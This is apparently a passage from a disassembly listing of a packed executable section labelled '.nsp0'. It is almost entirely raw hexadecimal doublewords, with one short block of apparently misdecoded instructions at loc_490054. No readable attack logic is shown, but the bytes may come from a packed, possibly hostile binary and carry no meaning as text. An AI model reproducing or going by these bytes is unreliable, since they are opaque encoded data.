7CEDF8A3h, 0E74AF2C5h dd 0C462DA43h, 0D2831DB2h dd 1E9BDEBh, 0A4F353B6h, 70407174h, 933DC060h, 0F7ED7B4Fh dd 82C65E69h, 2075DBA1h, 70EF7456h, 0F2202513h, 0D9429B55h dd 1B9B92F9h, 0D038B3CDh, 54057634h, 3B93A277h, 0C0F89883h dd 0AC1FA0Fh, 0E730307Bh, 27493C9Ch, 0E2D5881Bh, 0A72203F8h dd 0E3463EF8h, 306D7B27h, 5A8FBD8Eh, 3A1EE340h, 6AFE6CBAh dd 68937A87h, 5C56546Dh, 1B725C9Eh, 3556D783h, 14972C9Bh dd 3135FAB9h, 0E9F4061Ah, 3C296A6Eh, 0E2C12FE9h, 0D781AAF1h dd 6004422Bh, 0EE217907h, 163995C6h, 59D17F7Ah, 0FA06D79h dd 77D8BBF8h, 33AA6E2Fh, 0E839D7E5h, 83C8FBDEh, 372C3074h dd 9C17A911h, 0CDAA8BA3h, 0ADF2B942h, 1C5193CFh, 0C84B8104h dd 0FE628C65h, 5EB9E154h, 85874BCDh, 0B44EE52Fh, 257E2D16h dd 565AC13Ch, 0E7CFCF4Eh, 4E71967Eh, 0D19E3A05h, 693D6E40h dd 0CDABCA02h, 2C1D80DAh, 417A67DDh, 0A1A528Dh, 5DD52BD9h dd 0F2FECD92h, 43FFEE37h, 0BBDDACC3h, 9828B7A8h, 8A99B6BAh dd 0A6E4619h, 50A9E303h, 4FB58DEAh, 0EE308453h, 3498EA9Fh dd 8CD0574Eh, 0C72BF7F4h, 9D8D2AA0h, 5FB1DCDAh, 2B60AF95h dd 0BBC3707Dh, 0B0A54328h, 0F8BA148Eh, 2F7AA7Ch, 2C5AAC3Dh dd 56A932D2h, 0A069C672h, 0BF5C37CAh, 0CB4657BDh, 2505C042h dd 4B73D3B5h, 318796C6h, 0F308F56Fh, 38B77BCAh, 9BE2D174h dd 1CBF2E61h, 0AC214156h, 0B16A72B7h, 4DCBDF3Ch, 9D08859Ah dd 0C74664DFh, 1C5B6911h, 66D6453Eh, 24511E12h, 879ECCEEh dd 0B7C01290h, 0F44ABADCh, 77A073F8h, 680ED4E7h, 3F567EF2h dd 0FC312C6Dh, 0F008F202h, 0E7526597h, 7184C94Bh, 47D9BC71h dd 0EB153571h, 0C13399A4h, 558987B3h, 0C4AD3E4Bh, 0D081316Ah dd 0ED653BF3h, 0E26A80D4h, 356DD845h, 290D5764h, 7F7A6A2Dh dd 11A71492h, 0A47C78E0h, 0F2C64292h, 0FB5FC1A9h, 87F78852h dd 3BCB9A44h, 0FC6AC4DFh, 15894585h, 8F7BBE4h, 0D6C33A60h dd 0DAEEA41h, 4D9C73F1h, 9A92C8B7h, 0C0B6D0B4h, 3E37803Ah dd 2E8DCA53h, 0FF82DEF1h, 0F2E05BFBh, 1DE0D003h, 0E861C7B5h dd 193A7805h, 7E88EB6Fh, 625F86F9h, 2950107Eh, 1ED76929h dd 0EECA4D2h, 3B0DEA81h, 530B39B7h, 75BE268Fh, 0FE290E66h dd 4959BA85h, 205559ADh, 0E5B95C1Eh, 367BD6C8h, 2C613450h dd 0ED3E8778h, 6107A1C9h, 0A853B23Fh, 85A84E2Ch, 644506C6h dd 7D16409Eh, 0BE1A7892h, 77917F04h, 0DC9D8712h, 5959C8A9h dd 0F3B9CE6Ah, 13F99D12h, 0C6EDF477h, 7F0431F6h, 792560B0h dd 6C747E38h, 0F959CC41h, 0CD521E8Ch, 0DC7C34CBh, 7D4D369h dd 2E8D1902h, 50C51DBEh, 7513286Ah, 1649D77Fh, 0A10F0F4Eh dd 0C006F2DCh, 0D7B6FAC1h, 1B145774h, 0C77B98E3h, 64614FE6h dd 7E894968h, 83C4020Eh, 65788DA4h, 47BCAA43h, 0B5A8BF25h dd 3F4D47C2h, 4B1D494Eh, 59F59766h, 61BCE4DEh, 108AA6D3h dd 0E1DFFCD2h, 938C3F1h, 0C652464Ah, 71222F2Ch, 0E1A20649h dd 39F8193Bh, 0BD0E18CAh, 0BE3283D3h, 0D51259E2h, 5CE1302Ah dd 7F323C3Dh, 7CE4B774h, 46D682Bh, 0F3F344Ch, 6A54C7E4h dd 308E5EE5h, 0A084B0h, 27C6A953h, 25684897h, 6B3F37C4h dd 0DB0EB97Dh, 0B358B47Eh, 0FF26FFBBh, 4C671C8Bh, 105EF4AEh dd 1521D8B6h, 0D54F0319h, 1D7A4EFCh, 0B5C8765Dh, 70FBA309h dd 3B55553h, 14F9B7DAh, 0B144166Dh, 8D89D302h, 3E2DC50Dh dd 4792A42Dh, 0F238CF03h, 0E5DF5E38h, 16C64037h, 4AD43B2Ch dd 88718C55h, 4AB7C471h, 9AF2BC3h, 0CD6639B0h, 3168ABDh dd 4FCC512h, 83D6EF68h, 0E5D5EC3Eh, 81ADB2F6h, 0C08DA3E3h dd 4761FFDBh, 0CE63E016h, 0D46965C3h, 98AC6901h, 0F8BFDFD4h dd 4539B80Eh, 0D1D3D195h, 167118ABh, 64426406h, 35C1B45h dd 0ABE019B3h, 38A6E17Eh, 0BE07E7F3h, 0F4A4D2D5h, 9DA39F4Ah dd 0CCF60DABh, 369AFEDh, 0F33FD755h, 10300A16h, 24C1289h dd 39E5BAF2h, 786E61F5h, 0FC1B199Eh, 60705F61h, 0B928F2CAh dd 6AAF64BCh, 0A3437129h, 0D62F2506h, 32AF6464h, 3B0F1209h dd 1E303CA9h, 6038535h, 371046FDh, 876B99F0h, 0AA25E546h dd 6AE6B760h, 4E42D2EFh, 661491C3h, 14259826h, 0FA95B2C0h dd 0D2A1C3CCh, 0B1EF6F9h, 4C404AEAh, 44E1A511h, 7BFA3388h dd 0E27D78BDh, 0C2E3E59h, 57917888h, 50CC93FCh, 0A42FBEDFh dd 1DFD8ECAh, 26509F1Ch, 0A3B6F4B7h, 7441AE3Eh, 284AC55Ch dd 28EFA35Bh, 0B6B78B1Ch, 8B70BF46h, 0C480F281h, 415E955Fh dd 0CB1F1A53h, 11723F4h, 0C38C2881h, 4FC86267h, 20FBA195h dd 9BCC9EA0h, 4C2D057Bh, 93CD5C07h, 31998936h, 0A7E35783h dd 5C7D6A7Eh, 0C25E0019h, 3C85C088h, 91C238B2h, 531AAB11h dd 3AA7094Dh, 0AD25A30Eh, 0EFB007E4h, 8B057F45h, 23583BC7h dd 0F532E9EAh, 6807A00h, 0E524B94Ah, 373F60F6h, 96A4411Bh dd 0A5E21A73h, 9E93D613h, 0AE570BBFh, 1688973Ch, 810C761Eh dd 0BA28A46Dh, 0E6DBBE28h, 4EE20AB9h, 0CE8FCD0Dh, 1D70716Fh dd 7522F36Fh, 7BC12C58h, 0F042563Eh, 0FEE56F12h, 753ACE53h dd 5A43B472h, 0B200E7BDh, 0C2A54BBh, 0C481A9B5h, 8A6EA91Ch dd 6B69DEB1h, 48EE8E4h, 0EE44DD24h, 0AACADF8Fh, 2624FB83h dd 880E127Fh, 26E752CAh, 0D77AB655h, 71A6A760h, 0E75D7E28h dd 0EBA28607h, 982313C0h, 0B9EE568Dh, 96F18629h, 1AF8591Bh dd 0D875D013h, 3BB32D71h, 0FC866B9Dh, 3B03AD8Ch, 0AF67121Bh dd 7C766783h, 2E3A86C8h, 17C98FC4h, 2B6640C0h, 4289069h dd 0FBF58B83h, 27973E43h, 0AB3A1177h, 0C096D637h, 0F2957455h dd 0DC79041Eh, 85ACADF3h, 6271A52Ch, 165FAA86h, 0AE96C04Eh dd 99F56B78h, 0A1B70195h, 6D2096ABh, 6B5B782Fh, 0CEE9B0D1h dd 8EF0E72Bh, 30DBED95h, 0FF935D08h, 47797402h, 2C29D742h dd 675EF4FEh, 0F6F3C095h, 0DA37378Ch, 3D54767Dh, 7CC7E3B9h dd 0B34DE0ACh, 273424A3h, 6894898Bh, 8573FB58h, 69799C49h dd 1B386025h, 368048FFh, 0F46AC5B4h, 259A6C5Fh, 0E5D81023h dd 43864DD1h, 365674B1h, 85FFACBEh, 5EA142CEh, 193E0F20h dd 0FC977D61h, 45B0161Fh, 0ECFE73CFh, 86140A5Dh, 0F7382D22h dd 7AE73Ch, 0AE89DB65h, 0CAB96966h, 58618276h, 0ED38680Bh dd 969059CAh, 4F645F72h, 4BF8AEFAh, 0A706045Fh, 0F303A323h dd 73B645F1h, 9FD2FC6Eh, 0F8CE5586h, 3E335C67h, 0F16E8521h dd 3D11BF97h, 0ED97AC4h, 418BA23Dh, 0C17ECB89h, 384964F6h dd 35A138Ah, 0A1440E95h, 4A0C6B2Eh, 7681A320h, 0F592CD69h dd 0CDC34B3Ch, 0E1975EB7h, 10EA31F6h, 798B13E2h, 224050E4h dd 3CB96A31h, 0E41CE47Ah, 18709BD6h, 1378E661h, 0E9D0253Bh dd 0FFE4E605h, 0E1237EC6h, 0F45614F6h, 0C2A05C79h, 71F67FAFh dd 24D0A761h, 4B5143D7h, 0C1207C5Bh, 0AA3FAE5h, 543D69A5h dd 0B0F7255Bh, 60815F5Dh, 87BE2872h, 0E4150300h, 5282D609h dd 5265625Dh, 0FBF719BBh, 0C5395C1h, 174A1657h, 1E8E6B0Ch dd 0B86A49D3h, 0C3CBED88h, 4E623B4Eh, 0FBEC7BB5h, 142E6BBAh dd 5DE760E7h, 57F07393h, 0FD9784B5h, 0A8430197h, 0C2B37972h dd 7A6B6FBEh, 0D6C50006h, 101CDE11h, 0E831BB3Ch, 0F6DD8084h dd 28E2805h, 284FD0B9h, 1D689040h, 0E942DDECh, 0C4AB0461h dd 0AA8A741Eh, 0C26CE05Eh, 1C903F24h, 0A799D8CBh, 0D5999B3Bh dd 738CCD7Bh, 5DFA20B1h, 0AB5ED1E6h, 9117596Ah, 6699ADEFh dd 0B53ECE53h, 55DD3051h dd 0E21FBF23h, 582B72EDh, 0EAF9383Bh, 34E24C0Ch, 61479EF7h dd 9C860A94h, 35B5E879h, 0E1831C32h, 38405DDAh, 88C97636h dd 93657587h, 4D008031h, 0B635B2E1h, 0C4A645C7h, 0E5AB4AD3h dd 0A5BD3846h, 28CA2335h, 1450DE28h, 0D0A9070Eh, 0CFB6C833h dd 0C5BB265h, 8442D762h, 287CE312h, 29127A22h, 65DD65Bh dd 0D3BB4E6Ch, 0B9D079E0h, 130348A9h, 22213E8Fh, 2A5836F4h dd 0CE57361Dh, 74188CF2h, 0DB17D5CDh, 0C8ACD9C2h, 37F7B505h dd 6C8B9C53h, 8B8101AEh, 0E5979C69h, 655FC6D9h, 0BAFA7664h dd 15BC74ACh, 47055284h, 50A7B9F2h, 375202F6h, 8D62C574h dd 4E44D591h, 0DDF6818Dh, 43BA3E21h, 0E472DD4Ch, 95AFB153h dd 0B744F46Ch, 4E841FF0h, 98E4DA6Dh, 0A85EFE5Bh, 2C4DBEA8h dd 0E9CD5B2Dh, 233D7DDEh, 0BFBECFBDh, 95203Ch, 75956789h dd 0CE65CF27h, 963A0FDCh, 43634AC1h, 0CF780B7Ch, 8DC14C04h dd 460400C5h, 48728C94h, 0F9412E77h, 0CEFF5588h, 0D3AF6F8Fh dd 0DC23C676h, 11E542FEh, 5AC8CDE8h, 90602E99h, 0AF01C854h dd 0EA23EA52h, 0D6F748A2h, 0BDB7B23Ah, 0DE6FAC68h, 4855176Ah dd 2A9355DEh, 3831DF84h, 5F615404h, 0D57A203Dh, 0C1A59DEFh dd 86DF02B9h, 0AE2DB9C3h, 0D6C56A36h, 51087BEAh, 0C726DC4Ch dd 854851Ch, 3A088B72h, 8DAFC0E4h, 15F0CEF8h, 8ECBDD5Ah dd 80440024h, 0C4436CA6h, 12F0DAFFh, 0D398B768h, 9BBE773Bh dd 866F2670h, 11B63ACDh, 0F10729D6h, 15C8C987h, 51B83C03h dd 44A18DB7h, 0D7FA2A6Ah, 3CCAA1Bh, 0F2F8F82h, 64D4CD1h dd 0F576FADh, 0BE4BE94Fh, 0DC36AAD6h, 0EF3276D9h, 5C18B503h dd 0F340C401h, 0A68C69F9h, 914E0FF8h, 3435261Fh, 3C40FA6Fh dd 0D897604Eh, 72BB8939h, 2858FBDAh, 0D767AC06h, 14D2A0E4h dd 0A7EB1651h, 0F390A440h, 0E55F04ACh, 0DDE3677Ah, 9CAB6A55h dd 41452108h, 0B6A67023h, 0FFA7E935h, 71813585h, 17BAFD5Bh dd 0FF884C6Bh, 890A3E79h, 3BDB97BDh, 0B45D0EA9h, 0B2E902DEh dd 0B256FEBAh, 49318961h, 9501BA95h, 64BBD85h, 0E6B8B73Eh dd 0C6050F73h, 8397B630h, 0F21EDE5Bh, 0A66CCFC1h, 0C415158Dh dd 36441B52h, 615A969Eh, 0F649794h, 4BFD72F3h, 0AF7F296Bh dd 33075CBh, 3EB7D079h, 0B0CBE59Fh, 0C2F5CAC8h, 584083A3h dd 147A63DFh, 4CAB6A04h, 0F9935AD8h, 0ACDEF89Ch, 0A54EA070h dd 32BF012Ch, 0C331A566h, 0ABDC6A1Ch, 86A6922Eh, 2BE305AAh dd 23AD655Fh, 0E1AA6428h, 62E34FA5h, 49C7C0E7h, 9150AE24h dd 733D9BB6h, 17925B15h, 3F3AAFFh, 0B31625F1h, 0A4D222C8h dd 0B899F024h, 453E6221h, 693A19D7h, 716EFC2Bh, 15C059A7h dd 3C3CE932h, 0F7660AD1h, 86700696h, 84FE854Dh, 0DE7F3CFh dd 87580B72h, 0FEFD93ACh, 8B852849h, 8E84393Bh, 28AAF397h dd 0BC9C60AAh, 0B183B227h, 0C98118BEh, 0CA2963B5h, 80130677h dd 3ECD4EA7h, 0E3025A0Fh, 0FC012699h, 4256C893h, 5DEC2F7Dh dd 81144F49h, 2F13BBF8h, 0AD247EB3h, 0BBFACACAh, 507E4D24h dd 0E7135653h, 9D06B89Ch, 3A86094Ch, 52A0A5D3h, 8D3E1FA2h dd 11322E75h, 21AD8F20h, 0C9A5D663h, 42E19058h, 2122691Eh dd 0EB0D787Bh, 2BCE0223h, 58F8E8C1h, 1E2EFD88h, 0EE074F91h dd 83D33D9Fh, 6C046669h, 0F2E7E8F5h, 0E3BE86E2h, 419224CFh dd 0EF8ACCE1h, 6737A7CDh, 0E1A56DB8h, 0E126BD19h, 9934F8CBh dd 51185E43h, 0EC3E843Fh, 7ECFB4EFh, 0E05BD1DFh, 74EA5111h dd 564BC057h, 30E4108Bh, 523437C7h, 2635C2C1h, 20A04AFFh dd 0E04CE3B7h, 1ABE855Dh, 0B89EDE26h, 613E94B6h, 0E525606Eh dd 0ABBA00F3h, 5701DDC6h, 8B7E4582h, 0A4C1ECA8h, 0D2032E65h dd 0B7D9D404h, 92FF0FEAh, 1EA2A359h, 0C6AF60DAh, 0A815619Ah dd 8685FA54h, 1168494Ch, 1F1EE36Fh, 7749FC7Eh, 0F9426001h dd 2BA49337h, 64085B5Dh, 0A10C70B3h, 0AB398865h, 5138F2Fh dd 26ACAB9Bh, 415B563Bh, 0D322A6ACh, 11CBA6F6h, 37654051h dd 0E04828C1h, 689F15C3h, 5C4F4E6h, 0E913C71Dh, 1F0A8E24h dd 0E0F5CA2Ch, 822B5C88h, 0A999D974h, 0B7050D2Dh, 0C512304Bh dd 0CFA378C2h, 0FB0A373Fh, 0B7360803h, 4F96293Bh, 0C647B634h dd 3786980Fh, 0F0BE6049h, 0BC69C4EFh, 4CCD733Dh, 6F4D4847h dd 0DF23A739h, 82722D9Ah, 6A66EA75h, 725FEFDh, 59332B25h dd 48151F87h, 80C3BBCCh, 61F44052h, 0D1FC788Bh, 0FC7BE1A4h dd 0D6EFF650h, 54D00DC5h, 0C1304872h, 73A9E9E6h, 394C27C2h dd 84FE9D2Ch, 371288FDh, 99D3A6AAh, 4644F667h, 6AEA769Bh dd 2131EE30h, 0AB386527h, 343CB427h, 0C5B09C11h, 7F587277h dd 856DA424h, 6D6C6013h, 0AE7F0039h, 6AEAF13Fh, 2030B0A0h dd 0F0DC5E92h, 8D937A33h, 0D8305437h, 467421E1h, 38E1AC1Dh dd 3FD78C69h, 9B2B5500h, 852076D3h, 1560E52h, 0C1113FAFh dd 76E9F50Ah, 0BD84DBB5h, 0B43196D6h, 27CC867Ah, 1F058519h dd 1B7EEF8Ch, 948BD54Dh, 804C351h, 9A01EE88h, 9C6E0576h dd 6A2288A5h, 4D3C1BF3h, 53081841h, 2F8D7008h, 6F16524Fh dd 0A11CF7D7h, 0AC222C26h, 665F2C6Dh, 0BDF9F3C9h, 36E33FCh dd 0C5113A3h, 0BF68D36Ah, 0E0DF7BC4h, 7068BF8Ch, 0D0C91675h dd 5B0E4251h, 0DB2E915Ch, 0D49E0F66h, 0EDE4057Dh, 0C9DF26C6h dd 0F0E7D302h, 983F3BCAh, 35145D62h, 4A0C5329h, 41431D09h dd 87D64CB6h, 14B1A0FCh, 0A7F9D80Fh, 0D9D62191h, 0CE43C589h dd 2571E2FBh, 0B17AF49Ah, 2D7E9AB0h, 0B67A608Bh, 7C920D6Bh dd 8B4383B5h, 4529260h, 0ACB99B5Ah, 0A1D63BFAh, 438D3D0Dh dd 3B0499Dh, 0C5D69B9Ah, 0A5D4A525h, 0B3161FC5h, 7375B488h dd 0D93DA74Bh, 7D9B4377h, 2DECE2C3h, 0F6A02CBFh, 0B872B2EDh dd 0B1ECF749h, 0E7B29442h, 0FFA5F82Ah, 6458F3CAh, 0FF8AF7DFh dd 0C9A1DCD5h, 56C82227h, 3FA62A94h, 9CC07D5Eh, 6FAB509h dd 480E7165h, 2EA60064h, 0A472C043h, 0F6AEC373h, 0BE4FB549h dd 0E01EEC7Ch, 0F80E8089h, 0BC862BC8h, 0C24AC266h, 1527AC9Fh dd 44CEAA3Eh, 2BC62D90h, 14CDD38h, 4FD594C6h, 0B51D010h dd 0F002C5BDh, 49C6D551h, 0E09CC1B6h, 0B298B4DAh, 0C262FCDCh dd 2090DA93h, 863E7597h, 0B11BD951h, 0F88000Dh, 484CB93Dh dd 0ED0D1148h, 323A1C65h, 0A731387h, 0C3C43247h, 0C405CF7Dh dd 14C7494Bh, 0FDDDEB78h, 50856694h, 0E412D4A2h, 18DDD724h dd 0DA6471A9h, 0C33DABA1h, 0CB4D9AAh, 0B20326B4h, 0BF644FC4h dd 0D2992502h, 0A6081406h, 6E3985h, 239E4092h, 0DA0F1FE9h dd 526993D8h, 0AD289B93h, 10FCB5C9h, 0DF9FBE6Ah, 29EE0837h dd 4BB95700h, 7918AB75h, 713C649h, 3FE3DF6Eh, 0DBF32559h dd 6EE51022h, 0AB642241h, 0D6985D6Ah, 0CAB7E511h, 18CEF12Fh dd 3116B754h, 0FF79E58Fh, 7CEAB5A2h, 0F564C6D3h, 0A11A2B38h dd 0E4F57B9h, 380F68E4h, 0FE751D58h, 0EC378C39h, 34B7B6BCh dd 3F713FF2h, 0BB5647E3h, 71EFF0E5h, 875B96E5h, 78A4C430h dd 7551C3F8h, 1F827FB3h, 9DE695E6h, 1476ED38h, 87B0ED34h dd 0A2A4194Dh, 0FE00C86Dh, 0C83AD3BEh, 0AC28AEDFh, 0E645FE35h dd 0D88F3A3Eh, 9553C20Ch, 0BC6691C3h, 52E85B3h, 8F8A5DFh dd 26597C29h, 0AA716C68h, 0CAA576B6h, 0B30FCDC4h, 0BF07C763h dd 0C181887Eh, 0B49BF17Ch, 0E5FC1DFCh, 268A0848h, 67B186B4h dd 0A4041B70h, 0F5AA318h, 0A687769Dh, 123F157Dh, 0B846FE11h dd 0D660035Ah, 3FEA1D00h dd 8B1151E9h, 0B1A9C3F2h, 0C6EE5BFEh, 75942C25h, 21A043F1h dd 3CD9B6C4h, 0C60240A8h, 51A635B0h, 1ADC03BBh, 7A9E07B9h dd 0BF47252Dh, 0F1E40E1Fh, 60ED33D1h, 8683988Bh, 0A0C789C0h dd 0AA59D6CFh, 70457AC1h, 137959h, 10A89565h, 23084F83h dd 5A4BBD7Ah, 3A7450C4h, 823538D2h, 0C8BBA70h, 0F89FD03h dd 0C996555Ah, 0A27586Bh, 0D426977Bh, 0FC6F7E57h, 0E4BAA5B8h dd 5BA90508h, 50DB9FA7h, 2DB7158Eh, 178F9716h, 44AE41CFh dd 9FE4596Ch, 0D41173F1h, 0E30742CDh, 0E5BC16CFh, 2A9BBCACh dd 28439199h, 4AE8081Dh, 82DBD001h, 0D1D6A44Fh, 0C916D4A9h dd 0C90071E4h, 84F23696h, 47E2191Ah, 0B58A9A13h, 19C74A89h dd 0ACD9C334h, 0D9F5E9E5h, 0E102AEC2h, 0DCC74A6Ah, 0EB1D97E5h dd 29FBE620h, 0B8E6C2A8h, 5F284B84h, 9DAEEC0Bh, 0C006891Eh dd 0AB9277CCh, 5CC9A0CAh, 3B154AE9h, 16EDF3B2h, 8953C83Dh dd 9250ABD5h, 742FD7B3h, 329BFC61h, 7AA2A8D6h, 2D040323h dd 7AB519AAh, 631BA769h, 16460F0Bh, 91A2DDF6h, 0A4F4DF30h dd 10C32344h, 41B3612h, 3D299D5Eh, 390F2944h, 0A8994112h dd 8AD24540h, 2E58F652h, 851A451Dh, 0A9AF1339h, 61715759h dd 0E878BEE5h, 37532EB0h, 0A2EB4759h, 0C1ED976Eh, 141DB340h dd 1F519AB7h, 0C3C7CB1Ah, 53B8CF5h, 0FAE0B712h, 20E31DF9h dd 26F0694Fh, 22804D08h, 9DA93064h, 8BEDE84Eh, 489AE813h dd 0E64E91A8h, 5E0F9F74h, 4BF9264Dh, 3B616036h, 258F0BC8h dd 6FA6DBC8h, 91F22A5Ah, 6200F05Ah, 92DFB0B2h, 350069CAh dd 2FA4C383h, 56BC0CD1h, 0D52DAB9Ch, 70FA5C3Bh, 963D2B61h dd 0B19BE6D0h, 26BF6AAEh, 0BB00E927h, 7245E9EBh, 18B365DCh dd 0FBEA4FE2h, 31F8ECB0h, 1A983953h, 0BCF4A72Eh, 0BBEAE1BBh dd 227127DCh, 1BBCCC6Ch, 348A53h, 75578854h, 198CBA27h dd 810E4884h, 4A897665h, 0D9C7B5BDh, 47421773h, 0E851CA57h dd 50A3571Dh, 0D36ACAB1h, 0A29CC745h, 3ED213E8h, 4C3F5FC7h dd 616B4DFDh, 9E3BA3A0h, 89EBC7ABh, 0EA0E6024h, 46C24E01h dd 0FED26EE0h, 4DEDB6D2h, 9C2473D0h, 52388D6Ah, 0DC69C284h dd 0DBA8C726h, 0EE3BE639h, 6A4EB4D2h, 0DAEAA227h, 73EC312Eh dd 0FEAE0400h, 362FF75Bh, 70E32E80h, 8CDD063Ah, 86260DD9h dd 69D912A2h, 0F7AD93FDh, 6CCA8B00h, 9EEFAE63h, 0C9413E24h dd 523EB5D9h, 18935DA6h, 0A566ACBh, 0E90B29E2h, 0B5864A56h dd 66B3D3A4h, 753C9E84h, 0EAD7DB7Dh, 3043089Ch, 94061884h dd 1DDCEBF3h, 2BEE5EBEh, 510DB377h, 39EA88D5h, 783A861Ch dd 13353CD1h, 0A17BD8CEh, 0D476C48Dh, 0F84941DFh, 64CB2CB2h dd 0E2D61701h, 2F6A4C2h, 7A27B4F4h, 7051C27Dh, 7CB1E12Ah dd 5892884Eh, 0A3634560h, 104F154Eh, 60F95331h, 0E5956FC1h dd 0CB56925Eh, 7F18DD61h, 867B9AF1h, 93745B54h, 91AE8F02h dd 390D3E70h, 8FAC8D26h, 5E05E74Eh, 0CB984C5Ah, 7E894230h dd 83B84A69h, 880F9F0Dh, 12B872FAh, 0DB8899E0h, 0FD051B36h dd 97B713E7h, 85E38891h, 43A1A910h, 8DFB15F1h, 9EE26BA7h dd 0B30E24D5h, 0B4DF323Eh, 0A80008B3h, 0A7787A6Eh, 3DBDE128h dd 495E5079h, 0F53074F4h, 4746B2BCh, 639EF35Ch, 2F2DE439h dd 0F7C15B6Dh, 0F35B44C0h, 0C1F4D3EEh, 687C26B4h, 6950E13Bh dd 0AFCAEC7Ah, 8F9A44C1h, 837B5942h, 1FAFED44h, 76E32C15h dd 0ED2F6660h, 6D84FAC9h, 6A767BF6h, 65CF3F15h, 6E3E862Ah dd 0FE30CEFDh, 22645FB0h, 0DE4F1CEh, 0C0782C07h, 0AD981095h dd 32391D32h, 0DC2522ADh, 0E5C368D2h, 0F36C1FF9h, 64312818h dd 5F6CF75Ah, 61E5FEDFh, 930F2DCAh, 54FC4738h, 0D17D335Dh dd 0AB45CFA4h, 53877500h, 0B314B61Ah, 0A2612165h, 28738DCBh dd 21E3F38Ah, 2C53B0A6h, 0DE00AA25h, 26B0979Ch, 3636E6CBh dd 50B611AEh, 0F5D26110h, 46F7DB10h, 2D0259Bh, 90BF0ABBh dd 232EACFFh, 458810F8h, 7F40EBC7h, 0B7B7A2Eh, 0F7457902h dd 0B83A49B9h, 0C7E222EEh, 78C13A71h, 0EAD16F35h, 0E4882AABh dd 6406FAB3h, 260CE2BCh, 984D6A90h, 4B350C1Ch, 893F0C94h dd 75269E41h, 19260A3Fh, 0CAE79092h, 6C1633C3h, 0B48B42D9h dd 660C32AFh, 3F528FF4h, 93C46A73h, 4D40C73h, 7B7BB4C2h dd 5FD27DADh, 0C3DCAB5Fh, 3DB49164h, 0A374C54Fh, 0BA9074EFh dd 4FE6221h, 0C724A512h, 0A97C2D81h, 0E48CBB38h, 0F953661h dd 0DC5D5804h, 9CC9DB1Ch, 0CC61ACC7h, 92560EB0h, 0E1D9211Fh dd 0F93F9260h, 0FB880955h, 0BE2779F8h, 96C3FFF7h, 64B16FA1h dd 4B6B1125h, 238F8A22h, 0F5E55136h, 1F22A7DCh, 8FB8E0h dd 0E4BE5FAFh, 6C1CFC3Eh, 0C6909336h, 0B3840CD2h, 0E5EA364Fh dd 34971B6Dh, 39B19D31h, 9238D5DAh, 9E16C234h, 865C8ABCh dd 0A03FB262h, 9A34D840h, 2C3AE25Ch, 0B31AA1A5h, 0D6517B48h dd 5B57570h, 2D066B2Bh, 0C99AA1FAh, 8A7A4588h, 4EBB3462h dd 910FDC31h, 2D7643A7h, 4101DDFBh, 96264A5Eh, 74C6C6CFh dd 0B73D4277h, 94D9E917h, 4DBCCC9h, 0C950CA1h, 0B3E94BD8h dd 41DB42Eh, 0F3D01694h, 0A99EF779h, 0A980E434h, 772AB8D7h dd 1D268930h, 54F8F3A4h, 0D2073434h, 0A2C4AB26h, 40278E4Dh dd 6045AEB0h, 29A1B172h, 0A93A841Fh, 308E8834h, 198D6982h dd 69D00F8Ch ; --------------------------------------------------------------------------- loc_490054: ; DATA XREF: .nsp0:0041ABE1o ; .nsp0:0041B411o pop ecx cmp al, 47h mov bh, 0E3h retf 37Eh ; --------------------------------------------------------------------------- dd 0A6D967BEh, 0F78216BEh, 0C89FC602h, 4F8AC368h, 0BB991B59h dd 0F7C7730Fh, 0C98D131Dh, 154AA122h, 0F8625A8Ah, 7A5E1C78h dd 3FE0790h, 7C241C40h, 2060B8C4h, 87D04829h, 7431413Eh dd 3C0F26E6h, 8569ED46h, 0BE7C1FD9h, 0CEB1A1Eh, 0CA15E2C0h dd 0F82FFE38h, 9DC2B13h, 27582647h, 0EA67FA16h, 42A69AD0h dd 8D942E76h, 1B205F81h, 0F92A706Bh, 56E539C9h, 6CD4DA99h dd 0AA0F86h, 2474C293h, 5C691321h, 856EE663h, 964EFE27h dd 0EE954AEFh, 7DC0BA98h, 0E324B85Eh, 0DC5EFFC1h, 78EB3DD9h dd 5CA4DFA8h, 0B4D3E39h, 0A8606D0Ch, 0CDC4B2CEh, 1AF4DBD7h dd 0EB65E93Ch, 0ECC12D13h, 2F4D543Ch, 0E7CC24C7h, 0ED2176F9h dd 7CA05FD5h, 285D6759h, 326D57EEh, 4CD5D467h, 48D4F195h dd 0F00DCFDh, 0C3D266DCh, 963C3CFCh, 46AC4AD7h, 1DFE1288h dd 0D3A11A9Ah, 0CA1CACA8h, 37BB96A6h, 0D486D5E3h, 7B1DC4A4h dd 0A452DB6Fh, 596D6BCBh, 77C7A78Dh, 7236A365h, 0BF7BBC40h dd 8D932BDh, 0DAC36D8Bh, 97733CD9h, 5FB562B5h, 3AD7E71Ah dd 34FB76E6h, 0EFFA12F7h, 72C84D1Bh, 44BB28E8h, 0A58DED2Fh dd 0C7928BD0h, 4193DB90h, 0D2C50020h, 44745A6Ah, 755EA471h dd 0C48BD216h, 70D064C6h, 755E51E1h, 1C72961Ah, 6174D4FCh dd 5F2FA84Bh, 0DF501895h, 6F2E881Ah, 9E884ED1h, 90A02884h dd 5C61F70Ch, 54879F92h, 0E03AC5EDh, 1F6A0169h, 0DD6DE7D3h dd 2A29BBB9h, 77A1859Ch, 6DF07BBBh, 9F4FFF22h, 466F3E60h dd 0D1A61356h, 0F83C8362h, 8A9744ADh, 60AAECD5h, 0D3376CE0h dd 0C1F20871h, 0E7D0B6D2h, 0B410E70Ch, 132BCF82h, 0E1C945EFh dd 0A2DD9D11h, 12F76ABEh, 5AF14078h, 3379239h, 49C77306h dd 0DD3C0BBAh, 728821F5h, 1FCF1D60h, 4F7E8692h, 4106CD03h dd 0CB4C8CC1h, 0D1FBCE36h, 4754EACFh, 0B33C1242h, 0B50852DFh dd 0DE2A88DCh, 0D93EB46Dh, 1E0A1689h, 6B18EC29h, 94F289D7h dd 412C2D92h, 23168C54h, 2C9BA0D3h, 279754BCh, 1C96BB78h dd 7130874Dh, 6B51030h, 491DE55Dh, 186E1355h, 6499EC10h dd 49A612EEh, 2B0A6340h, 0D13DC959h, 9536E8C9h, 0ED87A4F8h dd 6B2D716Ch, 5BD2A14Ch, 13C08E88h, 9D6F458h, 4EF46E7Bh dd 0E06A8C77h, 58D8ACA1h, 94B7B780h, 0B7B768BFh, 9110975Bh dd 0AEBF6EADh, 9FEEDAB9h, 37441663h, 0F9CFABB8h, 0F1BC5BD9h dd 0C1EFE479h, 0E78ABBECh, 513D5C11h, 3B540F2Eh, 543D3F9h dd 35A90574h, 6B4DF9EDh, 0A5E0F453h, 9D49697Ah, 2195C026h dd 0EE177A42h, 0DF8F8166h, 702F241Ch, 3CEF7D61h, 6DB2A905h dd 